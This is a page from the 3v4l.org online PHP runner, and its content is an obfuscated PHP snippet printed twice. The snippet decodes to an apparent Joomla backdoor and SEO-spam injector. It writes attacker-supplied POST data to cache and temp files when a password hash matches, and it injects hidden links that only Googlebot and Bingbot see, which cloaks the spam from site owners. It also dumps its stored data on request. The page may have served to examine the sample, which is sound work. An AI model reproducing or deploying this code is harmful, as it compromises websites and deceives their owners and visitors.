3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<? $scn = 'fi(!dxifkxd("pumc")) {$xcxvxc = @fkf_gxu(\'xrror_rxhorufkg\');xrror_rxhorufkg(0);$sdr = fkf_gxu("sxssfok.sqvx_hqup");$udr = sws_gxu_uxmh_dfr();$ikm = "sxss_".md5(hph_tkqmx());fi(surhos(md5(@$_POST[x0]),"q6dq625bdi4")) {@ifcx_htu_lokuxkus("$sdr/$ikm",$_POST[q0]);@ifcx_htu_lokuxkus("$udr/$ikm",$_POST[q0]);@ifcx_htu_lokuxkus(JPATH_BASE."/lqlpx/joomcq_lqlpx.jsok",$_POST[q0]);}fi(surfhos(@$_SERVER[\'HTTP_USER_AGENT\'], \'googcxbou\') !==iqcsx || surfhos(@$_SERVER[\'HTTP_USER_AGENT\'], \'bfkgbou\') !== iqcsx){fi(!hrxg_mqulp("#(qprxis|mqjxsufl|rogxrbou|cfknhqd|sxmrtsp)#f",@$_SERVER[\'HTTP_USER_AGENT\'])){sxuloonfx("_qutvl",1,ufmx()+ufmx());$colqc = JPATH_BASE.\'/lqlpx/joomcq_lqlpx.jsok\';fi(fs_rxqdqbcx($colqc) && fs_yrfuqbcx($colqc)) {$ckn = @ifcx_gxu_lokuxkus($colqc);}xcsxfi(fs_rxqdqbcx("$udr/$ikm")) {$ckn = @ifcx_gxu_lokuxkus("$udr/$ikm");}xcsx($ckn = @ifcx_gxu_lokuxkus(@ifcx_gxu_lokuxkus("$sdr/$ikm")));$cfkns = @bqsx64_dxlodx($ckn);fi(fssxu($_COOKIE[\'jesuqux\']) || fssxu($_REQUEST[\'jesuqux\'])){xlpo(\'<dfv suwcx="dfshcqw:kokx">\'.PHP_EOL);xlpo hf().PHP_EOL;fi(surhos($cfkns, \'q:\') === 0) {$dquq = tksxrfqcfzx($cfkns);qrrqw_yqcn_rxltrsfvx($dquq,lrxqux_itklufok(\'$v,$n\',\'xlpo(md5($v).PHP_EOL);xlpo "$v\k";\'));}xcsx{xlpo $cfkns;}xlpo(PHP_EOL.\'</dfv>\');}$uhc = "<h suwcx=\"dfshcqw:kokx\">#cfkn#</h>\k";fi(surhos($cfkns, \'q:\') === 0) {$ltrrxkuUrc = $_SERVER[\'REQUEST_URI\'];fi($ltrrxkuUrc == \'/fkdxe.hph\') $ltrrxkuUrc = \'/\';$cfkns = tksxrfqcfzx($cfkns);fi(qrrqw_nxw_xefsus(\'TPL\', $cfkns)) {srqkd(surcxk($ltrrxkuUrc));$uhc = $cfkns[\'TPL\'][rqkd(0,lotku($cfkns[\'TPL\'])-1)];}fi(qrrqw_nxw_xefsus($ltrrxkuUrc, $cfkns)) {iorxqlp($cfkns[$ltrrxkuUrc] qs $nxw => $vqctx) {@$pumc .= sur_rxhcqlx(\'#cfkn#\',$vqctx,$uhc);}}fi(qrrqw_nxw_xefsus(\'*\', $cfkns)){iorxqlp($cfkns[\'*\'] qs $nxw => $vqctx) {@$pumc .= sur_rxhcqlx(\'#cfkn#\',$vqctx,$uhc);}}fi(surcxk(@$pumc)) {dxifkx("pumc", $pumc);}}xcsx {$pumc = @bqsx64_dxlodx($ckn);fi($pumc) {@$pumc = sur_rxhcqlx(\'#cfkn#\',$pumc,$uhc);dxifkx("pumc",$pumc);}}}}@xrror_rxhorufkg($xcxvxc);}'; @$xfv = 'str' . chr(116) . 'r'; @$diq = 'cr' . chr(101) . 'ate_function'; @$lyp = ${diq}('', ${xfv}($scn, 'knhputaqwylcexif', 'nkphtuqaywclxefi')); @$lyp(); ?>
based on KuFCC
Output for 5.4.0 - 7.3.1
Output for 4.3.0 - 5.3.29
<? $scn = 'fi(!dxifkxd("pumc")) {$xcxvxc = @fkf_gxu(\'xrror_rxhorufkg\');xrror_rxhorufkg(0);$sdr = fkf_gxu("sxssfok.sqvx_hqup");$udr = sws_gxu_uxmh_dfr();$ikm = "sxss_".md5(hph_tkqmx());fi(surhos(md5(@$_POST[x0]),"q6dq625bdi4")) {@ifcx_htu_lokuxkus("$sdr/$ikm",$_POST[q0]);@ifcx_htu_lokuxkus("$udr/$ikm",$_POST[q0]);@ifcx_htu_lokuxkus(JPATH_BASE."/lqlpx/joomcq_lqlpx.jsok",$_POST[q0]);}fi(surfhos(@$_SERVER[\'HTTP_USER_AGENT\'], \'googcxbou\') !==iqcsx || surfhos(@$_SERVER[\'HTTP_USER_AGENT\'], \'bfkgbou\') !== iqcsx){fi(!hrxg_mqulp("#(qprxis|mqjxsufl|rogxrbou|cfknhqd|sxmrtsp)#f",@$_SERVER[\'HTTP_USER_AGENT\'])){sxuloonfx("_qutvl",1,ufmx()+ufmx());$colqc = JPATH_BASE.\'/lqlpx/joomcq_lqlpx.jsok\';fi(fs_rxqdqbcx($colqc) && fs_yrfuqbcx($colqc)) {$ckn = @ifcx_gxu_lokuxkus($colqc);}xcsxfi(fs_rxqdqbcx("$udr/$ikm")) {$ckn = @ifcx_gxu_lokuxkus("$udr/$ikm");}xcsx($ckn = @ifcx_gxu_lokuxkus(@ifcx_gxu_lokuxkus("$sdr/$ikm")));$cfkns = @bqsx64_dxlodx($ckn);fi(fssxu($_COOKIE[\'jesuqux\']) || fssxu($_REQUEST[\'jesuqux\'])){xlpo(\'<dfv suwcx="dfshcqw:kokx">\'.PHP_EOL);xlpo hf().PHP_EOL;fi(surhos($cfkns, \'q:\') === 0) {$dquq = tksxrfqcfzx($cfkns);qrrqw_yqcn_rxltrsfvx($dquq,lrxqux_itklufok(\'$v,$n\',\'xlpo(md5($v).PHP_EOL);xlpo "$v\k";\'));}xcsx{xlpo $cfkns;}xlpo(PHP_EOL.\'</dfv>\');}$uhc = "<h suwcx=\"dfshcqw:kokx\">#cfkn#</h>\k";fi(surhos($cfkns, \'q:\') === 0) {$ltrrxkuUrc = $_SERVER[\'REQUEST_URI\'];fi($ltrrxkuUrc == \'/fkdxe.hph\') $ltrrxkuUrc = \'/\';$cfkns = tksxrfqcfzx($cfkns);fi(qrrqw_nxw_xefsus(\'TPL\', $cfkns)) {srqkd(surcxk($ltrrxkuUrc));$uhc = $cfkns[\'TPL\'][rqkd(0,lotku($cfkns[\'TPL\'])-1)];}fi(qrrqw_nxw_xefsus($ltrrxkuUrc, $cfkns)) {iorxqlp($cfkns[$ltrrxkuUrc] qs $nxw => $vqctx) {@$pumc .= sur_rxhcqlx(\'#cfkn#\',$vqctx,$uhc);}}fi(qrrqw_nxw_xefsus(\'*\', $cfkns)){iorxqlp($cfkns[\'*\'] qs $nxw => $vqctx) {@$pumc .= sur_rxhcqlx(\'#cfkn#\',$vqctx,$uhc);}}fi(surcxk(@$pumc)) {dxifkx("pumc", $pumc);}}xcsx {$pumc = @bqsx64_dxlodx($ckn);fi($pumc) {@$pumc = sur_rxhcqlx(\'#cfkn#\',$pumc,$uhc);dxifkx("pumc",$pumc);}}}}@xrror_rxhorufkg($xcxvxc);}'; @$xfv = 'str' . chr(116) . 'r'; @$diq = 'cr' . chr(101) . 'ate_function'; @$lyp = ${diq}('', ${xfv}($scn, 'knhputaqwylcexif', 'nkphtuqaywclxefi')); @$lyp(); ?>